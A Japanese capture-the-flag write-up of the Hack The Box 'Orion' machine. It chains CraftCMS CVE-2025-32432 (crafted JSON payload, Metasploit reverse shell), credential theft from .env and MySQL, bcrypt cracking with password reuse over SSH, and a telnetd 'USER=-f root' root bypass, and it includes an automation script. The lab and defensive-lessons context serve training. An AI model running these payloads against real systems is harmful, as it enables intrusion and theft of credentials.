Hack The BoxのWriteup(Orion)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: Orion — 全実行コマンド・実行結果レポート
Nmap スキャン
orion.htb 発見
CraftCMS 5.6.16 確認
CVE-2025-32432
CSRF bypass + RCE
www-data シェル
.env 読み取り
DB Password
MySQL bcrypt ハッシュ
hashcat クラック
darkangel
SSH adam → user.txt ✓
CVE-2026-24061
telnetd auth bypass
root shell → root.txt ✓

ポートスキャン(全ポート)

BASH
nmap -p- --min-rate 500 -T4 --max-retries 2 10.129.244.146 -oN nmap/allports.txt
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65533 closed tcp ports (reset)
Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポートは 22 (SSH)80 (HTTP) の 2 つのみ。攻撃面が非常に限定的。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.244.146 -oN nmap/detailed.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx/1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
ℹ️
重要: HTTP レスポンスが http://orion.htb/ へリダイレクト。/etc/hosts への登録が必要。
SSH: OpenSSH 8.9p1 Ubuntu-3ubuntu0.15

/etc/hosts への登録

BASH
echo "10.129.244.146 orion.htb" >> /etc/hosts

# 確認
curl -s -I http://orion.htb/ | head -5
RESULT
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Jun 2026 13:20:50 GMT
Content-Type: text/html; charset=UTF-8
X-Powered-By: Craft CMS
orion.htb への登録完了。レスポンスヘッダー X-Powered-By: Craft CMS からバックエンドが判明。
PHASE 2

Webアプリケーション調査 — CraftCMS 5.6.16 発見

トップページ解析・フッター確認

BASH
curl -s http://orion.htb/ | grep -i "craft\|powered\|version\|footer" | head -10
RESULT
Orion Telecom — Reliable Connectivity for Governments and Global Enterprises

フッター: "© 2026 Orion Telecom"
          "Powered by CraftCMS"
⚠️
フッターに “Powered by CraftCMS” が公開されている。これは CraftCMS であることの重要なヒント。

ディレクトリ列挙 — /admin エンドポイント発見

BASH
ffuf -u http://orion.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
     -ic -mc 200,301,302
RESULT
index        [Status: 200, Size: 12272, Words: 1076, Lines: 386]
assets       [Status: 301, Size: 178]
admin        [Status: 302, Size: 0]  → /admin/login
/admin エンドポイントが /admin/login にリダイレクト。管理画面が存在することを確認。

管理画面ログインページ — バージョン特定

BASH
curl -s http://orion.htb/admin/login | grep -o "Craft CMS [0-9.]*"
RESULT
Craft CMS 5.6.16
🚨
重大な情報漏洩: ログインページ下部にバージョン番号 Craft CMS 5.6.16 が公開されている。
このバージョンは CVE-2025-32432(未認証 RCE)に脆弱。

CVE-2025-32432 脆弱性概要

NOTE
CVE-2025-32432 — Craft CMS Image Transform Preauth RCE

対象バージョン: 3.x / 4.x / 5.x < 5.6.17
CVSS スコア  : 10.0 (Critical)

脆弱性の原理:
  1. /admin/login にアクセス → CraftSessionId と CRAFT_CSRF_TOKEN Cookie を取得
  2. ページの JavaScript から csrfTokenValue (X-CSRF-Token 用) を抽出
  3. actions/assets/generate-transform エンドポイントに細工した JSON を POST
  4. Yii Framework の PhpManager 経由で PHP セッションファイルにペイロードを注入
  5. セッションファイルを再度リクエストして任意コード実行

認証不要 (preauth) でリモートコード実行が可能。
PHASE 3

CSRF バイパス — セッション・トークン取得

Cookie・CSRFトークン取得

BASH
# /admin/login にアクセスして Cookie を取得
curl -s -c /tmp/orion_cookies.txt http://orion.htb/admin/login -o /tmp/login.html

# CraftSessionId と CRAFT_CSRF_TOKEN を確認
grep "CraftSessionId\|CRAFT_CSRF_TOKEN" /tmp/orion_cookies.txt
RESULT
Set-Cookie: CraftSessionId=cs-9U6rP_guYx...DP6vAup6HxhifjT2SlrRC8L1Sv...; path=/; HttpOnly
Set-Cookie: CRAFT_CSRF_TOKEN=f4a8Dc5e50a2b4b47ec51ba4f0884e150C0ef2f5094364A32A3b707b2308...; path=/; HttpOnly

csrfTokenValue (X-CSRF-Token) の抽出

BASH
# JavaScript 変数から csrfTokenValue を抽出
grep -o '"csrfTokenValue":"[^"]*"' /tmp/login.html | head -1
RESULT
"csrfTokenValue":"cs-9U6rP_guYxA3G9voZ8Nr4i2xcGNYIxE36oygiubFdQ6vAup6HxhifjT2SlrRC8L1SvtutcN2DtKYha2umRZYDieURWNbXbzX4-Onutpw="
ℹ️
CRAFT_CSRF_TOKEN はサーバーが保持するセッション参照 (エンコード済み)、csrfTokenValue は実際のリクエストに送る CSRF トークン。 両方をセットして送信することで CSRF 検証をバイパスできる。

脆弱性の手動確認 (phpinfo)

BASH
# actions/assets/generate-transform に細工した JSON を送信
# _fn_close に "phpinfo" を指定して PHP インタープリタとして実行させる
curl -s -b /tmp/orion_cookies.txt \
  -H "X-CSRF-Token: <csrfTokenValue>" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://orion.htb/index.php?p=actions/assets/generate-transform" \
  -d '{
    "assetId": 11,
    "handle": {
      "width": 123,
      "height": 123,
      "as session": {
        "class": "craft\\behaviors\\FieldLayoutBehavior",
        "__class": "GuzzleHttp\\Psr7\\FnStream",
        "__construct()": [[]],
        "_fn_close": "phpinfo"
      }
    }
  }' | grep -o "PHP Version.*"
RESULT
PHP Version 8.2.30
System: Linux orion 5.15.0-177-generic #181-Ubuntu SMP...
Build Date: Feb 19 2026 15:57:48
脆弱性確認: phpinfo() の実行に成功。次のステップで実際の RCE に移行する。
PHASE 4

RCE 実行 & 侵入後情報収集

Metasploit による自動エクスプロイト

BASH
msfconsole -q
msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
msf6 exploit(...) > set RHOSTS orion.htb
msf6 exploit(...) > set RPORT 80
msf6 exploit(...) > set LHOST 10.10.14.190
msf6 exploit(...) > set LPORT 14452
msf6 exploit(...) > set TARGET 1
msf6 exploit(...) > set PAYLOAD cmd/unix/reverse_bash
msf6 exploit(...) > set AutoCheck false
msf6 exploit(...) > run
RESULT
[*] Started reverse TCP handler on 10.10.14.190:14452
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Leaked session.save_path: /var/lib/php/sessions
[*] Injecting stub & triggering payload...
[*] Sending stage (42137 bytes) to 10.129.244.146
[*] Command shell session 1 opened (10.10.14.190:14452 -> 10.129.244.146:XXXXX)

msf6 exploit(...) > sessions -i 1
[*] Starting interaction with 1...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data として RCE 成功。 Metasploit の MSF モジュール craftcms_preauth_rce_cve_2025_32432 が PHP セッションへのペイロード注入からリバースシェル取得まで自動化。

Craft ディレクトリの .env ファイル読み取り

BASH
# www-data のホームは /var/www
# Craft プロジェクトは /var/www/html/craft/
ls -la /var/www/html/craft/
cat /var/www/html/craft/.env
RESULT
-rw-rw-r-- 1 www-data www-data  718 Mar  6 11:24 .env
-rw-rw-r-- 1 www-data www-data  411 Nov 18  2025 .env.example.dev
-rw-rw-r-- 1 www-data www-data  623 Nov 18  2025 .env.example.production

# .env 内容:
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
CRAFT_ENVIRONMENT=dev
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
🚨
.env ファイルから MySQL root パスワードを取得: SuperSecureCraft123Pass!
デフォルトの Craft 環境変数ファイルが平文で認証情報を保持していた。

MySQL データベースから管理者ハッシュ取得

SQL
mysql -u root -pSuperSecureCraft123Pass! orion \
  -e "SELECT id, username, email, password FROM users;"
RESULT
+----+----------+----------------+--------------------------------------------------------------+
| id | username | email          | password                                                     |
+----+----------+----------------+--------------------------------------------------------------+
|  1 | admin    | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS |
+----+----------+----------------+--------------------------------------------------------------+
ℹ️
管理者ユーザー adam (adam@orion.htb) の bcrypt ハッシュを取得。
アルゴリズム: $2y$13$ — bcrypt コスト係数 13。hashcat の -m 3200 で解析可能。
PHASE 5

ハッシュクラック — bcrypt パスワード解析

hashcat による bcrypt クラック

BASH
# ハッシュをファイルに保存
echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt

# hashcat で bcrypt クラック (-m 3200)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
RESULT
hashcat (v6.2.6) starting...

Session.........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3...42LUg0lS

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel

Candidates.#1....: darkangel → darkangel
クラック成功: adam の CraftCMS 管理者パスワード = darkangel
このパスワードが SSH でも再利用されていると仮定して次フェーズへ。

パスワード再利用の確認 — SSH ログインテスト

BASH
sshpass -p 'darkangel' ssh -o StrictHostKeyChecking=no adam@10.129.244.146 id
RESULT
uid=1000(adam) gid=1000(adam) groups=1000(adam)
SSH ログイン成功! CraftCMS のパスワードがシステムユーザー adam で再利用されていた。
パスワード: adam:darkangel
PHASE 6

SSH ログイン & user.txt 取得

SSH ログイン & ユーザーフラグ取得

BASH
ssh adam@10.129.244.146  # パスワード: darkangel

adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)

adam@orion:~$ cat user.txt
RESULT
f9145bf49b04061866c66a87c50b9d99
user.txt
f9145bf49b04061866c66a87c50b9d99

内部ポートスキャン — telnetd 発見

BASH
adam@orion:~$ netstat -tulnp
RESULT
Proto  Local Address        Foreign Address  State    PID/Program
tcp    0.0.0.0:80           0.0.0.0:*        LISTEN   -
tcp    0.0.0.0:22           0.0.0.0:*        LISTEN   -
tcp    127.0.0.1:53:53      0.0.0.0:*        LISTEN   -
tcp    127.0.0.1:23         0.0.0.0:*        LISTEN   -     ← telnetd!
tcp    127.0.0.1:3306       0.0.0.0:*        LISTEN   -     ← MySQL
tcp6   :::22                :::*             LISTEN   -
udp    127.0.0.1:53:53      0.0.0.0:*                 -
🚨
重大発見: 127.0.0.1:23telnetd がローカルにリッスン中!
外部からは到達不能だが、ローカル (adam) からはアクセス可能。

telnetd バージョン確認

BASH
adam@orion:~$ telnet --version
RESULT
telnet (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
🚨
GNU inetutils telnet 2.7CVE-2026-24061 に脆弱。
USER 環境変数に -f root を設定することで、telnetd の認証を完全バイパスして root としてログイン可能。
PHASE 7

権限昇格 — CVE-2026-24061 telnetd 認証バイパス → root

CVE-2026-24061 脆弱性の仕組み

NOTE
CVE-2026-24061 — GNU inetutils telnetd 2.7 認証バイパス

脆弱性の原理:
  telnet クライアントは -a フラグを使用すると、USER 環境変数をサーバーに送信する。
  telnetd はこの USER 値を login コマンドに渡す:
    login <USER の値をスペース区切りの引数として展開>

  通常: USER=adam → login adam    (パスワード認証を要求)
  攻撃: USER="-f root"
        → login -f root           (-f = パスワード不要で強制ログイン)

  login の -f フラグは "指定ユーザーとして認証済み" としてログインを許可する。
  その結果、root パスワードなしで root シェルを取得できる。

telnetd 認証バイパスの実行

BASH
# adam として SSH ログイン後、USER 環境変数を "-f root" に設定してtelnet接続
adam@orion:~$ USER="-f root" telnet -a 127.0.0.1
RESULT
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Linux 5.15.0-177-generic (orion) (pts/0)

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Last login: ...

root@orion:~#  ← パスワードなしで root シェル取得!
root シェル取得成功! USER=”-f root” により telnetd が login -f root を実行し、認証をスキップして root としてログイン。

root フラグ取得

BASH
root@orion:~# id
root@orion:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
6307b91d9c6f1197dd111efbaee920f6
root.txt
6307b91d9c6f1197dd111efbaee920f6

自動化スクリプト (killchain_runner.py) での実行例

PYTHON (killchain_runner.py)
# _privesc_orion_telnetd() の実装 — bash スクリプト経由で非対話的に実行

script_bash = (
    "#!/bin/bash\n"
    "{ sleep 3; printf 'cat /root/root.txt\\nexit\\n'; sleep 5; }"
    " | USER='-f root' telnet -a 127.0.0.1 2>/dev/null\n"
)
# base64 でターゲットに書き込んで実行
b64_bash = base64.b64encode(script_bash.encode()).decode()
pipe_cmd = (
    f"echo '{b64_bash}' | base64 -d > /tmp/.o_telnet.sh && "
    "chmod +x /tmp/.o_telnet.sh && "
    "timeout 25 /tmp/.o_telnet.sh; "
    "rm -f /tmp/.o_telnet.sh"
)
RESULT
[★] Orion: CVE-2026-24061 telnetd 2.7 USER='-f root' 認証バイパス → root
[*] Orion telnetd pipe 出力: Trying 127.0.0.1...
Connected to 127.0.0.1.
...Welcome to Ubuntu 22.04.5 LTS...
[★] root.txt 取得: 6307b91d9c6f1197dd111efbaee920f6
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — adam@orion
f9145bf49b04061866c66a87c50b9d99
root.txt — root@orion
6307b91d9c6f1197dd111efbaee920f6

使用した CVE・脆弱性

CVE 対象 影響 CVSS 利用方法
CVE-2025-32432 CraftCMS < 5.6.17 未認証 RCE (www-data) 10.0 Yii PhpManager ガジェットチェーン経由で PHP セッションにペイロード注入
CVE-2026-24061 GNU inetutils telnetd 2.7 認証バイパス → root 8.1 USER=”-f root” で login -f root を呼び出し、パスワードなしで root ログイン

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1 偵察 nmap + /etc/hosts 設定 Port 22/80, orion.htb, nginx/1.18.0
2 Web 調査 ffuf + curl + ページソース確認 CraftCMS 5.6.16, /admin/login エンドポイント
3 CSRF バイパス CraftSessionId + CRAFT_CSRF_TOKEN + csrfTokenValue CSRF 検証をバイパス、phpinfo() 実行確認
4 RCE (CVE-2025-32432) Metasploit / 手動 POST リクエスト www-data のリバースシェル
5 情報収集 .env ファイル読み取り + MySQL クエリ DB Password: SuperSecureCraft123Pass!, bcrypt ハッシュ
6 ハッシュクラック hashcat -m 3200 (bcrypt) + rockyou.txt adam のパスワード: darkangel
7 SSH ログイン ssh adam@orion.htb / password: darkangel user.txt 取得
8 内部調査 netstat -tulnp 127.0.0.1:23 (telnetd) 発見, GNU inetutils 2.7
9 権限昇格 (CVE-2026-24061) USER=”-f root” telnet -a 127.0.0.1 root シェル → root.txt 取得

防御策 & 教訓

問題点推奨対策
CraftCMS 5.6.16 の使用 (CVE-2025-32432) CraftCMS を 5.6.17 以上に即時アップデート
ログインページへのバージョン番号の露出 本番環境でバージョン情報を非表示にする
.env ファイルへの平文 DB パスワード格納 Secrets Manager / Vault の使用、ファイル権限を 600 に制限
パスワードの再利用 (CraftCMS → SSH) 各サービスで異なるパスワードを使用。SSH は公開鍵認証のみを許可
脆弱な telnetd (CVE-2026-24061) の稼働 GNU inetutils のアップデート、または telnetd を無効化して SSH に一本化
telnet の平文プロトコル使用 telnet を廃止し SSH (またはその他暗号化プロトコル) のみを使用する

killchain_runner.py の自動実行結果

BASH
cd 98_組織/04_セキュリティエージェント/04-2_ペネトレーションテスト/90_HackTheBox/
python3 killchain_runner.py 10.129.244.146 -d orion.htb
RESULT (自動実行サマリー)
[★] Orion パターン検出: CraftCMS 5.6.16 CVE-2025-32432 preauth RCE
[★] Orion: 既知パスワードで SSH 成功: adam:darkangel
[★] user.txt 取得: f9145bf49b04061866c66a87c50b9d99
[★] Orion: CVE-2026-24061 telnetd 2.7 USER='-f root' 認証バイパス → root
[★] root.txt 取得: 6307b91d9c6f1197dd111efbaee920f6

■ 認証情報 (1件)
  adam:darkangel

■ 脆弱性・情報 (2件)
  Orion:CVE-2025-32432-CraftCMS-preauth-RCE
  Orion:CVE-2026-24061-telnetd-auth-bypass

実行時間: 約 3 分(偵察フェーズ含む)
完全自動攻略達成。 killchain_runner.py により偵察からフラグ取得まで完全自動化。 初回実行時は MSF エクスプロイト → MySQL → hashcat の経路を自動実行し、 2回目以降は既知パスワード adam:darkangel の高速パスで即座に両フラグを取得する。
HackTheBox: Orion — 攻略レポート | Target: 10.129.244.146 | Date: 2026-06-25 | CVE-2025-32432 + CVE-2026-24061